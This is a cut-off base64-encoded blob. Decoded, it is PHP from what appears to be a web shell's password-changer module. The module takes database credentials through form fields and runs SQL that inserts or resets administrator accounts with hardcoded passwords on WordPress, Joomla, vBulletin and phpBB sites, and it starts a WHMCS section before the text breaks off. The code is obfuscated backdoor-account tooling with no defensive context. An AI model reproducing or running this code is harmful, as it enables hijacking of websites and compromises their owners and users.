GROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2RyLmluamVjdGlvbmlAaG90bWFpbC5jb20nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+JzsgIGlmICgkX1BPU1RbJ2FsZmEyJ10gJiYgJF9QT1NUWydhbGZhMiddID09ICc+PicpeyAgJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTMnXTsgICRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsgICR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsgICRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsgICRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsgICRTUUwgPSAkX1BPU1RbJ2FsZmE5J107ICAkcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsgICRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAoSUQsdXNlcl9sb2dpbix1c2VyX3Bhc3MsdXNlcl9lbWFpbCkgdmFsdWVzKG51bGwsJyRhZG1pbicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnJFNRTCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBJRCBmcm9tICIuJHByZWZpeC4idXNlcnMgd2hlcmUgdXNlcl9sb2dpbj0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZSA9IEBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsgIGlmICgkc29sZSA9PSAxKXsgICRzb2xldmlzID0gQG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOyAgJHJlcyA9ICRzb2xldmlzWydJRCddOyAgfSAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcm1ldGEgKHVtZXRhX2lkLHVzZXJfaWQsbWV0YV9rZXksbWV0YV92YWx1ZSkgdmFsdWVzKG51bGwsJyIuJHJlcy4iJywnZmlyc3RfbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnbGFzdF9uYW1lJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCduaWNrbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnZGVzY3JpcHRpb24nLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ3JpY2hfZWRpdGluZycsJ3RydWUnKSwobnVsbCwnIi4kcmVzLiInLCdjb21tZW50X3Nob3J0Y3V0cycsJ2ZhbHNlJyksKG51bGwsJyIuJHJlcy4iJywnYWRtaW5fY29sb3InLCdmcmVzaCcpLChudWxsLCciLiRyZXMuIicsJ3VzZV9zc2wnLCcwJyksKG51bGwsJyIuJHJlcy4iJywnc2hvd19hZG1pbl9iYXJfZnJvbnQnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJjYXBhYmlsaXRpZXMnLCdhOjE6e3M6MTM6XCJhZG1pbmlzdHJhdG9yXCI7YjoxO30nKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguInVzZXJfbGV2ZWwnLCcxMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfd2VsY29tZV9wYW5lbCcsJzEnKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguImRhc2hib2FyZF9xdWlja19wcmVzc19sYXN0X3Bvc3RfaWQnLCczJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICBpZigkc29sZXZpc2libGUpeyAgX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9ICB9ICB9ICBpZigkX1BPU1RbJ2FsZmEyJ10gJiYgJF9QT1NUWydhbGZhMiddID09ICdqb29tbGEnKXsgICAgZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSm9vbWxhIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2pvb21sYScpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyxcJ2pvb21sYVwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDInID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQzJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ1JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICdqb3NfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAna2FzdHJvJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNycgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwgICAndGQ4JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnZHIuaW5qZWN0aW9uaUBob3RtYWlsLmNvbScsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOyAgaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7ICAkbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMyddOyAgJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhNCddOyAgJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOyAgJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNiddOyAgJGFkbWluID0gJF9QT1NUWydhbGZhOCddOyAgJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsgICRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOyAgJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChpZCxuYW1lLHVzZXJuYW1lLGVtYWlsLHBhc3N3b3JkKSB2YWx1ZXMobnVsbCwnU3VwZXIgVXNlcicsJyIuJGFkbWluLiInLCciLiRTUUwuIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IGlkIGZyb20gIi4kcHJlZml4LiJ1c2VycyB3aGVyZSB1c2VybmFtZT0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZSA9QG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOyAgaWYgKCRzb2xlID09IDEpeyAgJHNvbGV2aXMgPUBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsgICRyZXMgPSAkc29sZXZpc1snaWQnXTsgIH0gICRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyAiLiRwcmVmaXguInVzZXJfdXNlcmdyb3VwX21hcCAodXNlcl9pZCxncm91cF9pZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnOCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgaWYoJHNvbGV2aXNpYmxlKXsgIF9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fSAgfSAgfSAgaWYoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsgICAgZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdkJ1bGxldGluIHw8ZGl2PjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ0JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDUnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDYnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2thc3RybycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDcnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwgICAndGQ4JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnZHIuaW5qZWN0aW9uaUBob3RtYWlsLmNvbScsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOyAgaWYoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsgICRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107ICAkZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107ICAkdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107ICAkcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107ICAkcHJlZml4ID0gJF9QT1NUWydhbGZhNyddOyAgJGFkbWluID0gJF9QT1NUWydhbGZhOCddOyAgJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsgICRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9dXNlciAodXNlcmlkLHVzZXJncm91cGlkLHVzZXJuYW1lLHBhc3N3b3JkLHNhbHQsZW1haWwscGFzc3dvcmRkYXRlLGpvaW5kYXRlKSB2YWx1ZXMobnVsbCwnNicsJyRhZG1pbicsJzUyZTI4Yjc4ZjU1NjQxY2Q0NjE4YWQxYTIwZjVmZDVjJywnWHd8SWJHTGhUUUEtQXdBcFZ2PjYxeV4oel0qPFFOJywnJFNRTCcsJyIuZGF0ZSgnWS1tLWQnKS4iJywnIi50aW1lKCkuIicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1c2VyaWQgZnJvbSB7JHByZWZpeH11c2VyIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRzb2xlID0gbXlzcWxpX251bV9yb3dzKCRzb2xldmlzaWJsZSk7ICBpZigkc29sZSA9PSAxKXsgICRzb2xldmlzID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7ICAkcmVzID0gJHNvbGV2aXNbJ3VzZXJpZCddOyAgfSAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fWFkbWluaXN0cmF0b3IgKHVzZXJpZCxhZG1pbnBlcm1pc3Npb25zKSB2YWx1ZXMoJyIuJHJlcy4iJywnMTY3NDQ0NDQnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgIGlmKCRzb2xldmlzaWJsZSl7ICBfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30gIH0gIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgJF9QT1NUWydhbGZhNSddID09ICdwaHBiYicpeyAgICBlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgcGhwQkIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwYmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOyAgJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQyJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMycgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDQnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNScgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAna2FzdHJvJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNycgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwgICAndGQ4JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnZHIuaW5qZWN0aW9uaUBob3RtYWlsLmNvbScsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOyAgaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7ICAkbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOyAgJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOyAgJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOyAgJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNiddOyAgJGFkbWluID0gJF9QT1NUWydhbGZhOCddOyAgJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsgICRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOyAgJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRoYXNoID0gbWQ1KCdzb2xldmlzaWJsZScpOyAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJGhhc2guIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfZW1haWwgPSciLiRTUUwuIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgaWYoJHNvbGV2aXNpYmxlKXsgIF9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7ICB9ICB9ICB9ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pICYmICRfUE9TVFsnYWxmYTYnXSA9PSAnd2htY3MnKXsgICAgZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFdobWNzIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLFwnd2htY3NcJyxudWxsLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ0JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDYnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2thc3RybycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDcnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksICAgJ3RkOCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2RyLmluamVjdGlvbmlAaG90bWFpbC5jb20nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSAgKTsgIGNyZWF0ZV90YWJsZSgkdGFibGUpOyAgZWNobyAnPH